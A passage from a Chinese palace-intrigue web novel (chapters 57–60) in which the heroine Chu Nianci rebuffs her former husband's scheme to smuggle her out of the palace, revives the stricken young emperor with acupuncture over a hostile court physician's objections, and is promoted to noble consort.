“没有。”他淡淡道。
楚舜卿从背后抱住他腰,眼眶发红,声音哽咽:“姐姐仗着出身好,从小就压我一头,她师父是名师,不管什么事儿,她舅父在前护着,如今她见我当了内医,还妒忌着我,放着正妻不做,偏要进宫,就是想给皇后和我添堵,并让你后悔……你千万别遂了她的愿,中了她的奸计。”
蔺景瑞真想对着她的脸大喊一句。
这一切,不都是你用功劳换来的吗。
可看着她结痂的脸,他却把怒气咽下,等以后姐姐不用她,跟她慢慢算账。
当时望着她涂着厚重脂粉的脸,心中一片冷涩阴沉。
记得当初楚念辞离开那日,自己曾丢下狠话,让她别后悔。
还记得自己最后说“你会后悔”,如今想来,后悔到几乎想掐死自己,掐死楚舜卿……
正想着,忽听身后的门轴一响……
烛光被风晃了一下,楚念辞轻移莲步走了进来,闪烁的烛火映亮她娇艳如初的容颜。
他就这么望着她。
想起初见时她站在海棠树下,花瓣扑簌簌地洒了她一身,她轻轻抬起头来,那含羞带怯人比花娇的模样,当时她湛亮的明眸照亮了一片天空。
忽地,心底那点压了许久的悔意懊恼,忽然涌了上来,堵得喉头发紧。
心中那股说不清道不明的情绪清晰地变成了思念。
“你找我何事?”楚念辞依旧没看到他,声音平静地问。
蔺景瑞喉结动了动,想说念辞,我们真的不能回到过去吗?
可话到嘴边却成了:“念辞,你过得也很辛苦吧?”
他猛地向前一步,执住她的手,声音压得低哑,只有两人可听见耳语声道:“陛下此番生死难料,若是大行殡天,身边人都得殉葬,念辞……我带你出宫,你先躲到了偏僻无人之处,等风头过去,我再将你接回来,我发誓,正妻之位还是你的,若你不喜舜卿,我送她入姑庙,再不相见,好吗,随我走吧……”
第57章 拔簪
楚念辞听得一怔,猛地抽回手,气得胸口发堵。
陛下还昏迷在外头,人都那样了,他竟有心思在这儿说这些?
谁看不出来,他就是想趁乱打主意,把她弄出去。
为了他那点面子和私欲,竟要拉上她全家垫背。
若是逃跑顺利,逃不出他的手心,若被发现,一推三六五,仗着皇亲身份撇个干净,到头来倒霉的只有她。
上回他向陛下讨要自己,已碰了一鼻子灰,居然还不死心。
这人岂止是薄情寡义,简直毫无忠义之心。
他对自己那点执念,哪里是什么深情悔过,分明是不甘和贪欲作祟。
他真把她当成他那没头脑的庶妹了不成?又把皇宫、把陛下这儿当成什么地方了?
楚念辞强忍着恶心厌恶,疏离冷淡道:“蔺大人,如果你就想说这些,那我恕不奉陪。”
说完转身就要走。
“等等。”蔺景瑞几步抢上前,拦住了她的去路。
一抬头,却撞上柔美的凤眼已变得锋利。
他喉咙一紧。
声音压得低哑,透着紧涩:“我知道现在不合时宜……但我早就想问你,始终找不到机会,就一个问题。”
楚念辞没吭声,却也没再走。
他站在她面前,目光紧紧捉住她的眼睛:“为什么一直瞒着我,你会医术的事?”
就算他再迟钝,从她帮母亲研制祛风丸,到进宫后这几件事,他也看出来了……她的医术高明,比舜卿高出不止一点半点。
楚念辞眼睛未抬,道:“这与你何干?”
蔺景瑞怔了怔,是啊,这与自己有什么关系?
当初她嫁给自己,是来当自己的妻子,不是开医馆,非要告诉他不可。
沉默一会儿,蔺景瑞神情有些颓然:“确实和我没有关系,和你认识那么久,我都不知道你会医术,我不明白,你既有这样的本事,为什么当初不随我去南诏,反而甘心留在内宅?”
楚念辞沉默着,烛火幽幽,映得她如玉脸庞似块冰,冷冷得毫无情绪。
为什么不随他去南诏?
她想起前世,自己也见过官府贴的招贤榜。
也曾心动过。
可临行前几天,他来见自己,说:“念辞,家里必须有人要照看,我就托付给你了,希望回来时,一家人都平平安安。”
就为了这句话,她折了自己的翅膀,替他守好了后方。
这一世,她再也不会了。
她的羽翼、她的野心,绝不会再为任何人折断。
如今更没有必要告诉他这些。
“你觉得有资格,问我这些吗?”楚念辞语调冷淡。
蔺景瑞看着她,苦笑了一下:“是,我没资格,你可以不答……我只是想不通,就算你母亲是商籍,可你这么出色,如果你早告诉我,我们之间本可以不一样的。”
“自从南诏回来,我就觉得你像变了个人,不就因为我选了舜卿吗?她只不过想要个堂堂正正的身份,我难道连这点名分都不该给她……”
楚念辞简直要气笑了。
于是,冷笑打断他的自言自语:“你问心无愧就好。”
蔺景瑞眯起双眼,眼中闪过一丝阴霾,道:“你进宫,不过是为了给舜卿添堵,好让我日日后悔。”
楚念辞猛地抬起头,乌黑的眸子像淬了冰,直直刺向他:“好,我今儿就跟你说明白,当初不去南诏,是我守着为**的本分,替你顾着这个家,如今进宫,更不是为了给谁添堵,也不是为了让你后悔!”
她向前逼近一步,字字诛心:“我进宫,一是为陛下尽忠,二是为自己活得恣意,我从来没拦着你让她‘堂堂正正’,只是我看清了,所嫁非良人,难道还不许我另寻出路吗?”
蔺景瑞没想到她会突然说得如此直白。
尤其是最后那句“所嫁非良人”,像根针似的扎了他一下。
他想起楚舜卿总在他耳边说,姐姐就是故意要压她一头,就是为了让他后悔……
原来,竟是他想岔了?
他心里乱成一团,她竟然对自己没有丝毫的情意。
不,不会,若是如此。
当初他为何要同意嫁给自己?
于是,蔺景瑞下意识地追问:“那你当初嫁给我,究竟是真心喜欢,还是为听从母命,嫁谁都行?”
楚念辞真想一脚踹死他。
这是什么地方?
她又是什么身份?
他竟还敢问这些!
她强压怒火,边斥边笑道:“当初是父母之命,媒妁之言,如今,你是舜卿的夫君,我是陛下的女人,这话你最好永远记住!”
“原来……只是父母之命,”蔺景瑞眼神黯了黯,随即目光幽沉阴贽地盯住她,语气也冷了下来,“既然你对我本无情意,我不过是为兄娶妻,为何我另娶舜卿,倒成了我背信弃义?为何让所有人都觉得,是我停妻再娶?”
“呵……”楚念辞这回是真笑出了声,那笑声冷刺刺,没有半点温度,“自踏入你蔺家门,我侍奉公婆从无一日懈怠,打理家事尽心竭力,就等着你回来,可你呢?求亲时信誓旦旦,转头让我空等半年,归来第一件事便是求娶我妹妹,你见色忘义、背弃诺言,如今倒有脸把责任推给我?”
这一连串的质问,砸得蔺景瑞脸色发白。
他像是被逼到墙角困兽,忽然阴狠咬牙道:“好,好……既然你如此看我,我也无话可说,但若想我用令牌去请章太医,你必须答应我,跟我出宫。”
楚念辞气得一股腥甜冲上喉头,差点真一口血喷在他脸上。
这人疯了不成?
他竟敢拿陛下的安危来要挟?
他难道不明白,这根本不是在要挟她,而是在要挟君王!
白嫔只是在梅坞跳了支舞,就被赶到了冷宫,俏答应与父亲差点被他打死。
以陛下那般果毅刚强的性子,今日之辱,他岂会忍受?
如此好的投效陛下的机会,他都不知把握,还在提要求,简
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直是在自掘坟墓。
“蔺景瑞!”楚念辞的声音因极致的愤怒而微微发抖。
她握紧了拳,才忍住狠狠给他一掌的冲动,“我原以为你只是薄情寡义,现在看来,你简直毫无忠义之心,为人夫,你,未尽其责,为人臣,欺君罔上,以往种种,我可以忘记,但这番算计陛下、不忠不义的心思,我绝不原谅!”
一字一句道:“我对陛下的忠心,可表日月,可昭天地,自进宫那日起,我就从未想过要出去,你若正以此为要挟,为了陛下,可以答应,不过……”
她挺直脊背,目光如寒星,从头上猛地拔出一支金簪,递至他手中。
“无论如何,我不会离开陛下,你不如现在就杀了我,带着我的尸首离开宫廷!”
蔺景瑞彻底呆住了。
他没想到……
她如此决绝铿锵,看着清艳双眼神坚定。
他知道,她没有妄言,也不是故作威胁。
她向来言出必行。
这些话像烧红的烙铁,烫得他哑口无言。
这只簪子,又像是一支利剑。
把他的野心与私心刺得体无完肤。
楚念辞看着他这副茫然又顽固的模样,只觉得蠢得无可救药。
再多说一个字都是浪费。
“你自己决定吧。”她狠狠瞪了他一眼,手执发簪,径直去拉门把手。
蔺景瑞回过神。
只得摆出一副“秀才遇到兵”的架势,指着楚念辞“你、你”了半天,却说不出下文。
见她转身,他急忙出口,但声音已是虚了:“等等,你这话我不敢苟同,我怎么就不忠不义了?陛下病重,你心急,我难道就不担忧?此刻别无他求,只一事……”
楚念辞侧过半张脸,烛光在她清冷绝艳眉宇间,镀了层淡淡的金边。
蔺景瑞心虚低声道:“陛下病重,我娘风疾也一样耽搁不起,我不求别的,只求你把祛风丸的方子写给我。”
“那方子是我师父所研,”楚念辞语气平淡无波,“要给你,须得他老人家首肯。”
“那……先给我几盒应急总行吧?”蔺景瑞退而求其次。
声音里带上恳求。
“我眼下只剩一盒,等会你请来章太医,让人去我那儿取。”她说完,不再停留,抬手拉开了房门。
夜风卷入,烛火猛地一阵剧烈摇曳。
将蔺景瑞僵硬的身影死死钉在墙上,拉扯得佝偻变形。
蔺景瑞望着那道决绝离去、挺直如竹的清丽背影,只觉得在这一刻,她真的离自己远到了遥不可及的地步……
从洞开的大门处卷入的寒风,让他逐渐清醒,无比颓废。
蓦地。
他忽然抓住了她刚刚说的一句话。
是了。
她说了会原谅自己过往。
陛下在就躺在隔壁。
许多话,她是不便明说的。
蔺景瑞握紧双拳,提起袍角,含着一丝不甘,一丝希望,匆匆出了养心殿,往西南角的丽正门而去。
第58章 择夫择君
楚念辞退出侧殿,回到弥漫着药味与沉重呼吸的主殿。
端木清羽依然无声无息地躺在龙榻上,李德安侍立一旁,不时压抑地低咳两声。
老太监目光垂落,眼神却随着烛火明灭而微微闪烁……侧殿的对话,他听得一清二楚。
先不论她那番慷慨激昂的表白有几分真心,至少看得出,这是个极聪明的女人。
在这深宫里,聪明往往比真心更能活得长久。
他心中掠过一丝不易察觉的赞许,抬眸看向走进来的楚念辞,声音微微温和:“蔺院使走了?”
楚念辞知道他的意思是问他是不是答应帮忙,并不是单纯地走了。
于是走到榻边,神色平静无波:“走了,去传章太医了。”
说完这句话,她顿了顿,望向李德安,语带一丝恰到好处的无奈,“李大伴,臣妾……真没想到他会说出那样的话。”
她早就从听岚姑姑那里知道。
李德安不但是历经三朝的元老,而且从小看着陛下长大,如今身兼掌玺太监、中常侍、内务府总管数职,可见在陛下心中分量极重。
这位年过六旬的老宦,本可求恩出宫养老,却坚持留下,视陛下如子。
方才蔺景瑞那些混帐话,他听了岂能痛快?
李德安意味深长地瞥了她一眼,并未接话,只淡淡道:“总算陛下没看错人。”
楚念辞仿若未见对方面色深沉目光探究,兀自浅笑,语气却郑重无比:“臣妾自入宫,举目无亲,无依无靠,常招人针对,若不是陛下,待臣妾亲厚,恐早已身陷不测,此等恩情,臣妾一刻也不敢忘怀,纵然粉身碎骨,也难报万一。”
李德安眉头一舒,这是个知恩图报的。
楚念辞话锋一转,目光谨慎地扫过四周,压低声音:“李大伴,眼下情势危急,依臣妾浅见,必须立刻调一队可靠的禁卫过来,将这寝殿牢牢护住,万一陛下今夜未能苏醒……消息又走漏半分,只怕会有人,生出不该有的心思。”
李德安瞳孔微微一缩,心中那根弦骤然绷紧。
他深深看了楚念辞一眼,不再犹豫,当即转向身侧的心腹敬喜,递过一个凌厉的眼神。
敬喜会意,立刻躬身,悄无声息却又步伐迅速地朝殿外走去。
等待的时间被寂静拉扯得模糊,仿佛极长,又似极短。
终于,院外传来一阵急促的靴声。
殿门再度被推开,蔺景瑞带着两名太医走了进来。
楚念辞眸光一凝……明明只让蔺景瑞只请章太医,他却带了两人。
其中那位国字脸、蓄着三缕长须、神色端肃的,正是章太医。
而另一位尖脸长须、面容干瘦、眼神锐利如针的……楚念辞前世在蔺皇后宫中见过,是中宫殿的太医,姓刘,有名的刻薄加顽固,听闻朝廷上也曾议过培养女医,均被他以女子无才便是德,怎可抛头露面之类的言论否决。
为何请这个老顽固过来。
心念电转,楚念辞瞬间明白了蔺景瑞的盘算。
他是为了皇后的姐姐打算盘。
若陛下真有不测,这刘太医便是安**来的耳目,能第一时间将消息递往皇后宫中。
章太医只朝李德安微微颔首,便径直走向龙榻,俯身开始诊视。
刘太医踏入养心殿,那双锐利的眼睛便迅速扫视了一圈,最终落在楚念辞身上。
他黑眉当即皱起,抬手一指,声音透着不悦:“闲杂人等,都到外面候着去。”
蔺景瑞听他这么说,一言未发,转身出去还带上了殿门,只在走到门口时,又偷偷瞄了楚念辞一眼。
楚念辞没看他,也没动。
刘太医满脸怫然不悦,在欲开口……
“刘太医,”李德安沉稳出声道,“这位慧选侍略通医术,曾为宫妃诊过脉,陛下也曾亲口赞赏,留在此处或可协助一二。”
刘太医脸色一沉,心中不屑。
一位妃嫔能有什么医术?
虽如此想,他却不得不给这位内廷总管面子,但显然对女子滞留内廷极为不悦,鼻腔里轻轻哼了一声,算是勉强默许。
此时章太医已诊完脉,眉头拧成了一个死结。
“情况到底如何?”李德安快步到榻边看了一眼陛下,压低声音问道。
他转向刘太医,语气凝重:“刘老,您也瞧瞧……陛下前段时间已经好转,但今日病情非但未见好转,反有加重之势?”
刘太医略一谦让,便上前搭脉。
片刻后,他收回手,声音压得极低:“陛下龙体有山崩之势,确然不容乐观。”
章太医紧锁眉头:“虽说时气不正,但前几日脉象已见平稳,何以突然恶化至此?”
李德安忙道:“许是今日烧供时,不慎受了些寒。”
他已知陛下是去梅坞私祭先人,此事绝不可外泄,便随口扯了个理由遮掩。
章太医回头望了一眼龙榻,与刘太医默契地走到更远处的长窗边,几乎耳语道:“此番病势汹涌异常,恐怕非用‘金针度穴’之法不可,但老朽惭愧,只通九针,后续四针,实在无能为力。”
“如今只有您勉力试试!”刘太医摸着短须道,“只要陛下能醒过来,方可以独参汤辅佐。”
楚念辞在一旁听得真切。
金针度穴,乃是药王谷秘传的“救命十三针”,对心脉急症有奇效……她恰好会。
这个念头刚浮起,又被她强行按下。
她瞥了一眼,刘太医一副刻板顽固的模样,心知他绝不会信女人,更不会允她一介宫妃施针。
心烦意乱,目光不由投向龙榻……
端木清羽情势非常危险。
虚弱的面容已泛起不正常的潮红,榻边那滩暗红血迹、额上骇人的高温,都做不得假。
若他今夜真的熬不过去……细细追查起来,难免会牵扯出今晚她与他独处之事。
到时候,她恐怕在劫难逃。
若真要赌上自己的性命,冒险救他?
可若如此,章太医与李德安还好说,自己一定要与刘太医这个老顽固的对上,难免一番唇枪舌剑,必然将他彻底得罪。
她倒不是怕此人,只是抱着宁得罪君子,不得罪小人的想法。
犹豫之间。
突然,一个更深的念头窜入她脑海:这一切,会不会本就是陛下的一场试探?
他昏倒前那句“若他日口不应心,朕必不轻纵”,莫非是故意为之?
随后骤然吐血昏迷,正是要看身边
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人……在生死关头会如何选择。
甚至召蔺景瑞过来,何尝不是对皇后**的试探。
而她与蔺景瑞侧殿对答,也尽在他,或者说他的人掌握之中。
若她刚刚稍有异心,或此刻畏缩不前……
她背脊微微发凉……
端木清羽,一个年仅十七岁便算无遗策的少年帝王。
自己真的能有把握,在这双眼睛底下**心机、攀爬高位吗?
为今之计,只有奋不顾身彻底倒向他,等他醒来后,自己会有一息向上攀爬的机会。
这是后话,此刻已容不得再多犹豫,她必须马上做出决断。
到底是救还是不救?
俗话说,富贵险中求。
她竟然求着荣华富贵,权势地位,现在就无从选择,她进宫既是择夫,更是择君。
必须帮皇帝过了这一关,才是她的出路。
就在她心神交战之际,章太医已开始施针。
铜漏声声,时间点滴流逝,九针尽落,端木清羽玉白额上虽渗出细密汗珠,非但昏迷不醒,反而开始喃喃地说起胡话。
恰在此时,刘太医见势不妙,借口去备药,转身匆匆退出了寝殿。
楚念辞深吸一口气,知道时机来了。
不能再等。
她快步将章太医请至一旁,声音压得极低:“章太医,有句话,不知当讲不当讲。”
章太医数次见她施展奇技。
已知她通晓医理,又加上感念她此前救护之恩,立即道:“慧小主请直言。”
“实不相瞒,”楚念辞抬眼,目光沉静而坚定,“臣妾乃药王孙**的关门弟子,通晓‘救命十三针’。”
章太医正抚着胡须的手猛地一顿,竟带下了几根短须。
他微微睁大眼睛,难以置信地看向楚念辞:“你……你当真是孙**的弟子?”
他目光中瞬间迸发出的激动,如同儒生乍见圣贤真传。
一旁的李德安呼吸也陡然急促起来。
他自然听过孙**的名号,陛下为这旧疾,数次派人前往药王谷相请,却总是缘悭一面。
若她真是孙**弟子……那简直是绝境逢生。
他迅速看向楚念辞,目光如炬地审视片刻,见她神色沉凝不似作伪,当即身躯一震,喉头滚动,几乎带着颤音急道:“若真如此……陛下有救了,还请小主即刻施针……”
“这事两位大人知道就好,”楚念辞臻首微垂,“臣妾本不想说出,因此震动宫门。”
她垂下眼眸。
毕竟在这深宫之中,波云诡谲,她若是粗通医术也不打紧,可若是精通,那就是另一回事了。
若是有了心思诡谲的人,利用这个针对她,谁也不知道会发生什么事。
所以知道的人越少越好。
章太医与李德安对视一眼,两人皆无声地点了点头。
李德安双手将盛放金针的木盒恭敬地捧到楚念辞手边。
她伸手接过,缓缓抽出一根金针,走到端木清羽身边,轻轻摸着那最后的四个穴位,缓缓起针。
就在此刻,一声冷喝骤然响起:
“你干什么?”
刘太医阴沉着干瘦的脸,大步从殿外跨了进来,目光如刀,直刺向楚念辞……
第59章 立功再次晋升贵人
楚念辞捻针的手微微一顿。
李德安与章太医也闻声回头。
章太医见刘太医入内,忙上前道:“刘老,这位慧选侍幼时曾遇异人,**得一套救命针法,如今陛下危急,老朽与李大伴商议,请她施针一试。”
刘太医一听,连连摇头:“此举大为不妥,陛下万金之躯,岂能让一个妇人动手医治?若有差池,便是天塌之祸!”
章太医皱眉。
他与刘太医共事多年,知他是皇后亲信,所以平时并不想与此人发生冲突,亦深知此人轻视女子,历来反对女医入宫,甚至曾极力阻挠陛下设医女之职。
此时若直言药王传承,他必也是不信的,反而更抵触,索性只以“异人所授”为由。
“刘太医若有更好良策,不妨直言咱们共同再斟酌一下。”章太医道。
刘太医摇头晃脑:“章老知晓,老夫所长乃妇人科,心疾实非专攻,然病来如山倒,病去如抽丝,陛下本就体弱,一旦染疾,恶化迅疾如山崩,理应以汤药徐徐图之。”
他捻着短须,暗暗沉思。
今日他当值,但皇上龙体不是他看顾,即便出事也怪不到他头上。
可皇后早先吩咐过,凡皇上龙体有任何动静,必须立刻禀报。
如今太医院都赞这章炎培医术在己之上,他也早就看这人不顺眼,无奈陛下看中此老儿,如今这章太医越老越昏瞆,竟让一个女人动手医治,这简直是把太医院的脸面踩在了地上!
等这件事完了,自己必然要将此事汇报给皇后娘娘。
看这章炎培如何在太医院立足?
“陛下已病危,若再‘徐徐图之’,刘太医可有把握令他转安?”楚念辞冷声插话。
“荒谬,”刘太医三角眼一瞪,“老夫与章太医议事,你一介妇人懂什么,插什么嘴,还不退下!”
楚念辞心中冷笑。
她怎会不知这刘太医?
前世他便曾将一位患咳疾的太妃误诊为痨病,用药致死,事后却推说是太妃年迈体弱,而且当初先帝病情恶化,也是这位刘太医要求徐徐图之,最后导致先帝驾鹤归西。
不过是个靠家世爬上位的庸医罢了。
如今那位太妃的咳疾估计也真倒霉,只怕正被他越治越重。
“刘大人既精通妇人科,便该好生照看太妃娘娘,莫让她病情再‘恶化’了才是,莫忘急症必须非常之手段,先帝爷当初也是徐徐图之……”楚念辞语带讥讽,但只是说了一半,并没有说下去。
不说完才是令人遐想。
“你……大胆,竟敢胡言乱语污蔑本堂!”刘太医气得嘴角发颤,转向李德安,“李大伴,此女不知礼数,还不速速叉出去!”
楚念辞说完这句话也不急,等着看下面李德安反应。
这剂猛药,一定会勾起李德安的怒火。
果然,李德安听到先帝当初病况,苍老的眸子里闪过一丝悲伤的幽光。
他沉默半?1?8,才抬起黑眉冷冰冰道:“刘大人,老奴虽不通医理,却知陛下病情刻不容缓,无论施针还是用药,总得先让陛下醒转。”
刘太医振振有词:“李大伴有所不知,病势凶险因人而异,似陛下这般底子虚的,恶疾发作如山崩,必须缓治稳进……”
“缓治,你有几成把握治愈陛下?”李德安截断他的话头,声音严肃起来。
刘太医一怔,摸了摸胡须,小心翼翼拱手道:“回大伴,陛下病情恶化之速,实出意料,如今……恐怕只能尽人事,听天命了。”
“听天命?”李德安脸色陡然一沉,“也就是说你无能为力了,陛下春秋正盛,区区小疾便要听天命?既然毫无把握,便休在此指手画脚!”
“这……”刘太医面皮紫胀,噎得说不出话来。
李德安虽是太监,但身形高大魁梧,刘太医干瘦矮小,在他面前被衬得如同鸡仔一般。
李德安居高临下地逼视着他,冷声道:“先帝当年突染急症,你们无能为力,如今陛下病危,你又束手无策……你来说说,你这太医,究竟有何用处?”
刘太医被他盯得冷汗直冒,颤声道:“这……这命该如此,岂能与天意抗衡啊……”
“命该如此?”李德安怒极反笑,“先帝驾崩是‘天意’,陛下病重也是‘天意’?要你何用!”
说完,冷冷的逼视目光仿若在他身上盯出一个洞来。
刘太医吓得腿软,一边悄悄抹汗,一边犹兀自不甘连声道:“好好好……良言难劝,忠言逆耳,老朽这就走,此处若出了事,可与我无关,告辞!”
说完一甩袖子,转身仓皇推门走出养心殿,他想好了,等会儿去皇后宫中,好好地给这三人上一剂眼药,以雪今日之辱。
可惜刚走出门口,就听见身后李德安拍了拍手,门口一名小内侍,恭恭敬敬地把他请到了侧殿。
刘太医这才明白,今天晚上自己别想离开。
见刘太医出门,章太医忙上前劝道:“李大伴息怒,眼下救治陛下最要紧。”
李德安深吸一口气,朝楚念辞点了点头。
楚念辞屏息凝神,取过金针,在烛火上微微一燎。
她指尖稳如磐石,先取膻中穴轻旋浅刺,再于内关、神门两穴依次落针,针尖微微颤动,她以极柔的指法捻转提插,目光专注如凝渊水。
时间一点一滴过去,漫长的等待,让铜漏声滴得极慢。
端木清羽紧蹙的眉梢似有松缓,胸口起伏渐渐趋于平缓。
章太医毕竟是医者,见陛下气息渐稳,脸上已掩不住惊喜,捻着胡须的手微微打颤。
李德安眼尖,瞧见端木清羽垂在榻边的手指轻轻动了两下,激动得几乎要双手合十念佛。
楚念辞此时已收回了最后一针,仍守在榻前,紧紧盯着那张苍白如纸的脸。
只见端木清羽的如蝶翅般长睫颤了颤,缓缓睁开了眼。
目光起初恍惚游离,片刻后才渐渐清明,一双眸子在熹微的烛火中灿若微晶。
“陛下……您醒了!”李德安的声音带着哽咽。
章太医亦连忙上前指尖搭在他的手腕上,良久方松了一口气地道:“虽还虚弱,但脉搏已经平稳了。”
刘太医站在侧殿,耳朵紧贴墙壁,仔细听着隔壁的对话。
他简直不敢相信自己的耳朵,虽然听不清动静……但陛下醒了,这句话总是听得清。
自己刚才给陛下诊过脉,那脉象沉得很,分明是积劳成疾、受寒高热、引发旧疾,想醒过来,简直难如登天,哪怕是药王亲自到场,怕也没有这种手段?
这怎么可能呢?
难道那女子真有神通不成?
“不可能!”他几乎立刻就否定了这念头。
转眼之间他就得出了结论。
这定是章太医十针起了效,那女人不过凑巧瞎猫遇上死耗子。
可眼下这情形,该如何向皇后禀报呢?
难道说自己
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诊了却束手无策,反让一介女子得了手?
皇后若因此质疑他的医术,他往后还如何在太医院立足?
不行,明日面见皇后时,得换套说辞。
就说陛下只是偶感微恙,全赖章太医精心施治才得以好转,而那女子……不过是从旁打了个下手罢了。
转念间,他已编好了回话。
可心里终究是懊恼的,早知如此,刚才自己就该主动上前施那剩下四针。
他在暗影里站着,不自觉懊悔地一拳击在墙壁上。
养心殿内,楚念辞见端木清羽慢慢苏醒,跪近用帕子替他拭去额上冷汗。
端木清羽看了看围在榻边的三人,唇角无力地弯了弯,嗓音嘶哑却清晰:“方才……朕见到了父皇、母后和皇兄,还以为……回不来了。”
众人闻言神色皆是一凝。
楚念辞立刻轻声道:“陛下是真龙天子,洪福齐天,逢凶化吉,怎么可能回不来,怕是先皇与皇后看见您多留了一会儿,这才让你回来迟些,臣妾这就去佛前,为陛下祈福还愿。”
端木清羽望着她,苍白唇边浮起一抹极淡的笑:“你的话……朕最爱听。”
“臣妾不胜荣幸。”她低头一礼。
“此番劳动章太医了。”端木清羽缓缓转向章太医,楚念辞换了绞帕子敷在他额上。
章太医忙躬身回话:“陛下病情凶险,微臣惭愧……此次全赖慧常在施针相救,方能转危为安。”
他感念楚念辞先前恩情,更知此番是她力挽狂澜,便毫无保留地将方才施针救急的经过仔细禀报了一遍。
端木清羽咳声渐止,额上却又渗出一层细汗,但脸色却已经渐渐红润起来。
他目光掠过楚念辞清丽的脸,当听到她是孙**弟子,清澈的双眸里闪过一丝诧异。
但这丝差异很快便转换成了一丝了然。
原来她身怀医术是因师承孙**。
此番生病本是设的局,只为试探宫中谁人与外朝勾结,却没料到会病得如此重。
不过若非如此,又怎能试出她的真本事?
她在这次风波中的应对,倒令朕颇为满意。
他也是个正常男人,面对喜欢的女人,说出那些甜言蜜语,怎能不动心?
且不论她说话有几分是真几分是假,就看她今晚的行动。
也足以获得自己信任和赏识。
端木清羽想到此处,目光不自觉地柔和了几分。
他温和低声道:“你近前些,朕有话讲。”
楚念辞跪行至榻边:“陛下请吩咐。”
心顿时都提到了嗓子眼儿,这一番忙碌奔波,终可是到了验收成果的时候。
不知陛下会给什么赏赐……金银财宝,还是绫罗绸缎。
只听端木清羽缓缓道:“朕自登基以来,不喜这宫殿,因先帝驾崩于此,母后,皇兄亦亡于此……每每思及,皆难释怀……”
他顿了顿,气息微促,“后来遇见汝,过得几日舒心日子,汝虽只是奉茶宫女,却屡次解朕困扰,朕早想给你一个妥帖的位份,又恐其出身所累……封高了易惹六宫非议,封低了又不彰其功,如今又救朕于濒危,若不晋封,岂非显得朕刻薄寡恩?”
他转向李德安,清晰道:“传旨六宫,晋常在楚氏为慧贵人。”
楚念辞微微一愣,之后就听见自己的心脏怦怦跳了起来……
上次晋封还不足一个月,又晋封了,这可是宫里从来没有过的事……
第60章 陛下对慧贵人分外不同
楚念辞压住都快要飞起的嘴角,忙跪下磕头,口中歉然道:“臣妾蒲柳之姿,一于龙脉无助,二尚未侍寝,实在当不起如此天恩。”
皇帝却道:“朕既说你当得起,你就必然当得起,汝救助圣驾,与江山社稷有功,若是此等功劳都不封赏的话,岂非叫天下人笑朕刻薄寡恩,无情无义。”
楚念辞微微上扬的鲜妍唇角已掩不住喜色。
这个封号,她期盼已久,心满意足,端木清羽的心机与算计,不过是帝王自保,论他赏罚分明这点,远比蔺景瑞强多了,从前自己为蔺景瑞耗尽心血,只换来薄情寡义,口头敷衍,相比之下,端木清羽算得上有情有义,恩怨分明。
贵人这可不比常在、答应。
那等位份在宫中如同一茬一茬的小草,小花,不过是个高级奴才,连独居一殿的资格都没有,谁都能来踩一脚。
而贵人是个分水岭。
贵人可居侧殿,配嬷嬷、宫女,已是正经小主,旁人想拿捏也得掂量几分。
李德安听闻这般厚赏,心头微微一颤。
他刚想开口劝阻,就听端木清羽继续说道:“慧儿既喜欢梅坞的花,便移二十株绿梅给她,还有,朕记得私库里存着一套金刚羽钻头面,你去找出来,一并送到她那儿去。”
对上心的女子,端木清羽不吝赏赐。
金银珠宝与他不过是粪土,人的心意才难得,先前他便思忖过该赐她什么好,此刻瞧着她亮盈盈的眼睛,忽然就想起了那件光华璀璨的首饰。
李德安脸上难掩震惊……那套头面可是海外进贡的珍品,皇后淑妃觊觎许久,陛下都未曾松口,如今竟要赐给慧贵人?
端木清羽淡淡地瞥他一眼:“怎么,朕使唤不动你了?”
李德安却皱了皱眉,面色凝重道:“皇上爱重慧小主,老奴明白,可她尚未侍寝便晋封贵人,又赏赐贵重的首饰,况她住的地方窄小,那二十株梅花,如何栽种,这般隆重的赏赐,反令她遭人嫉妒,不若赏赐些金银,待日后立功,再行重赏。”
端木清羽侧过脸,气息虽弱,口气却很稳:“救驾之功,赐恩名正言顺,即便不封不赏,她也一样引人注目,不如一步到位,给她这个恩典,她现在住的地方窄小,等朕与皇后议过,再重新分封宫室。”
李德安又是一惊,这才明白。
看来陛下都已准备给她亲自分封宫室。
他从来对这些后宫之事儿从不上心,以前这些事都是皇后做的。
端木清羽略顿,又道,“既受了恩,便得承受得住风雨,若真是朵禁不起风雨的小花,也不配留在这朕身边侍奉。”
李德安闻言,心中对慧贵人的分量又加了几分,笑道:“慧小主,陛下对你当真不同。”
言罢,便不再多言,道:“奴才这就去办。”
楚念辞心中兴奋,忍不住上前轻轻握住他玉般的手。
眼波婉转,盈盈如水。
端木清羽抬头便撞上她三月春柳般明丽动人的笑,不由目光沉迷。
章太医见状,忙磕头告退,去配汤药……人虽醒了,还需用药退热方能稳固。
李德安也知情识趣地退下。
殿外早有药童候着,不多时汤药便呈了上来。
楚念辞端起药碗,她干脆坐上榻沿,将他轻轻扶起,让他靠在自己臂弯里,端木清羽气息微弱,此时乖得就像一个福山娃娃,任她抱起来放进怀里捏扁搓圆。
端木清羽倚在她怀中,面色苍白如暗夜里的优昙,楚念辞伸手抹了抹眼睛,想起今晚的一路惊险,以及意外的丰厚奖赏,双眼不由激动的湿了。
他察觉她双肩微颤,静了片刻,才轻咳着问:“你封了贵人,该高兴才是,这眼睛怎么红了。”
楚念辞瓮声瓮气道:“臣妾守了一夜,又累又困,眼睛熬红了。”
“你抬头让朕看看。”
楚念辞僵了僵,把脸在袖子上胡乱一蹭,才倔倔地抬起瞪着他。
端木清羽看着她明显湿润微红的眼睛,睫毛还湿成一簇一簇的,像雨中的海棠花瓣,心下微软,刚要说话却又咳了起来。
楚念辞放下勺子,轻轻替他抚背,待他平复了,才重新舀起药,先在自己唇边试了试温,才递到他嘴边。
端木清羽闻见了苦涩的药味,摇摇头,不肯张口。
楚念辞目光灼灼地瞧着他。
知他怕苦,她便软声道:“陛下,臣妾幼时,见舅母生病,不肯喝药,舅父便含了药喂她,您若再不张嘴,臣妾也只好如此了。”
端木清羽闻言羞恼的耳根一热,刚启唇要训她放肆。
一勺药已迅速喂入他口中。
他还未及品出苦味,第二勺又送了进来。
每当他皱起眉想抱怨,楚念辞便将药勺轻抵在自己唇边,似笑非笑地瞅着他。
不知不觉,一碗药竟已快见了底。汤药起了效,端木清羽身上渐渐沁出一层薄汗。
此时不宜沐浴,楚念辞便用帕子一点点替他擦拭。
“让朕躺下吧。”他轻声道。
两人相偎处汗意黏腻,着实不适。
楚念辞扶他缓缓躺回枕上。
“陛下歇息吧,臣妾守着您。”楚念辞道。
他虽虚弱,却并无睡意,看着她额前一缕微微垂下的碎发,不知不觉伸手抚了上去,微凉的手把鬓角的散碎发丝轻抚。
